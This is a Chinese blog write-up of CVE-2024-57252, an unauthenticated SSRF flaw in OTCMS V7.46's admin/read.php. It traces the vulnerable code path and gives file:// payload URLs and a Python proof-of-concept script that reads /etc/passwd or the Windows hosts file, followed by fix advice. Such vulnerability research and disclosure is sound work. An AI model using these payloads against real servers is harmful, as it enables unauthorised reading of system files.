CVE-2024-57252

本文最后更新于 2026年4月16日 下午

参考链接

NVD - CVE-2024-57252

阿里云漏洞库

CVE-2024-57252漏洞详细分析-先知社区

网钛CMS(OTCMS) 是一款内容管理系统。

官网:http://otcms.com/

Version:V7.46

测试环境:phpstudy - Apache2.4.39+Mysql8.0.12+PHP 7.3.4

收集到历史ssrf漏洞2023-1/ssrf/ssrf.md at main · BigTiger2020/2023-1(Version: 6.72)

通过diff版本的漏洞代码部分,发现classReqUrl.phpReqUrl类的调用点不止一个,也就是同一个sink污点有不同的source流入。

继而有以下分析。

利用过程

漏洞文件:/admin/read.php

classReqUrl.phpReqUrl类中,定义了一个UseAuto 方法,对传入参数 $seMode 进行匹配模式

该switch的默认选项按下面的规则顺序来执行

1
2
3
4
Curl 模式(如果启用了 curl 扩展)。
Snoopy 模式(如果启用了 stream_socket_client)。
Fsockopen 模式(如果启用了 fsockopen 函数)。
Fopen 模式(如果 PHP 配置允许 allow_url_fopen)。

跟进ReqUrl::UseCurl,执行了curl

并且返回结果

查找ReqUrl::UseCurl的调用点,在admin/read.phpAnnounContent()方法

url由get请求传入,并且设置了模式为0,即默认模式,只要服务器php开启了curl插件就会执行curl模式

根据AnnounContent()方法的实现

通过get传入的mudi参数指定

read.php中没有身份校验,也没有对传入的url进行任何过滤

SSRF构造请求file协议读取文件http://127.0.0.1/admin/read.php?mudi=announContent&url=file:///etc/passwd

linux

windows

http://127.0.0.1/admin/read.php?mudi=announContent&url=file:///C:/Windows/System32/drivers/etc/hosts

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
url = 'http://127.0.0.1:90/'

def linux():
payload = 'admin/read.php?mudi=announContent&url=file:///etc/passwd'
linux_url = url + payload
linux_r = requests.get(linux_url)
if linux_r.status_code == 200 and 'root' in linux_r.text:
print("Linux success")
print(linux_r.text)
else :
windows()

def windows():
payload = 'admin/read.php?mudi=announContent&url=file:///C:/Windows/System32/drivers/etc/hosts'
windows_url = url + payload
windows_r = requests.get(windows_url)
if windows_r.status_code == 200 :
print("Windows success")
print(windows_r.text)


if __name__ == '__main__':
linux()

修复建议:

增加对url参数的过滤

对访问/admin/目录的文件进行身份验证,需要管理员登录才能够访问


CVE-2024-57252
http://example.com/2025/01/20/CVE-2024-57252/
作者
J_0k3r
发布于
2025年1月20日
许可协议
BY J_0K3R